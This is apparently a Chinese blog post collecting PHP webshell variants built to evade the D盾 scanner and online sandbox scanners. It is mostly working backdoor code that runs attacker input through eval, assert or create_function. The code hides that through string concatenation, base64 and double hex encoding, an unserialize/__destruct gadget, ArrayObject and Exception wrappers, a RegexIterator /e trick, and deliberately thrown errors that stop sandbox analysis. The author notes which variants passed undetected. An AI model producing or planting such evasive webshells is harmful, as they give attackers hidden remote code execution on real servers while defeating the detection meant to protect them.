0x00 前言

做一下记录,主要是无意间有看到了,又想起来之前的看的php的源码

0x01 正文

借鉴

先看几个别人发过的绕过D盾的,这只是本地扫描,用的是2.1.6.4版本

create_function

1
2
3
4
5
6
if($_GET['a']) { 
$S=[[],[],[],$_GET['b']];
$cr=$_GET['a']."reate_function";
$x[]=["admin"=>$cr("",$S[3])];
$v[]=["Guest"=>$x[0]['admin']()];
}

assert

第一个很简单,就是通过获取当前方法名来拼接的

1
2
3
4
5
6
function a($_X){
$x = __METHOD__.base64_decode("c3NlcnQ=");
class x{}
$x($_X);
}
a($_POST[1]);

第二个通过从变量中获取参数动态调用的

1
2
$a = get_defined_functions();
$a['internal'][array_search('assert',$a['internal'])]($_GET[0]);

通过反序列化的方式,当然还是拼接的assert

1
2
3
4
5
6
7
8
9
10
11
12
13
class A{
public $name0 = "ass";
public $name1 = "ert";
public $male;

function __destruct(){
$vbc = $this->name0.$this->name1;
$vbc($this->male);
}
}

unserialize($_POST['un']);
//nu=O:1:"A":2:{s:4:"male";s:17:"eval($_POST["x"])";}

双传参

这个根据原文说,主要是var_dump可以消除报的1级,但是我下的这个版本,带不带都不报

1
2
3
4
5
6
7
8
9
10
11
12
function md5s($DAwRsFQrFQTVA){
return $DAwRsFQrFQTVA;
}
$AbWdTvGTs=$_GET['a'];
$YcQdGwTvSqg=$_GET['b'];
if(isset($AbWdTvGTs)&&isset($YcQdGwTvSqg)){
$gvWeSFfWRvDaqerSDgW=[[],[],[],$a[][]=$AbWdTvGTs];
\var_dump($gvWeSFfWRvDaqerSDgW);
$b[]=$YcQdGwTvSqg;
$cQSS=md5s($gvWeSFfWRvDaqerSDgW[3]);
$cQSS($b[0]);
}

测试

上面基本都是动态调用的,然也是可以的

这里测试还是想使用eval进行

然后测试发现,单纯的eval并不会认为这是shell比如eval();

但是当存在参数时就会报1级

image-20220512161931655

同样的后续测试发现eval($a->b())这种调用也是1级

image-20220512162110756

直接构造

1
2
3
4
5
6
7
class A{
public function c(){
return hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362'));
}
}
$a = new A;
eval($a->c());

发现这就过了吗,确实有点狗

image-20220512162624334

那这个样子就有很多形式了,根本也就用不到之前底层那点东西

也可以如下

1
2
$e = new Exception(hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362')));
eval($e->getMessage());

或者之前说到的底层的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A extends ArrayObject {
private static $a;

public function offsetSet($key,$value){
self::$a = $value;
}

public function test(){
return self::$a;
}
}
$a = new A();
$a->append($_GET[0]);
eval($a->test())

在线查杀

那还是看看在线查杀吧,在线查杀类似沙盒运行,不是真正的webshell引擎,不然过不了

关键点就是报错,或者污染点的问题

我们可以根据上面的payload构造报错

1
2
3
4
5
6
7
8
9
10
11
class A{
public function c(){
return hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362'));
}
}
$a = new A;
if($_GET[2]){
$a->aaa();
}
$_GET[0] = 'phpinfo();';
eval($a->c());

测试网站

会发现直接就查不到了,因为会在调用$a->aaa()的时候抛出异常而中止

image-20220512163151569

这点应该也挺简单的,当然真正的没有这么简单

P师傅的

还有就是P师傅的正则系列

1
2
3
$i = new RegexIterator(new ArrayIterator($_REQUEST[2333]), '/.*/e', RegexIterator::REPLACE);
$i->replacement = '$0';
foreach ($i as $a) {}

在之前,估计整个迭代器都可以,因为根据之前看代码的时候,整个迭代器在,foreach的时候,都会触发一些函数或者操作

而webshell杀不到的原因,也是在对象强转数组过程发生了错误

本质还是错误

就不一一列举了

0x02 end

没啥实际意义,随便看看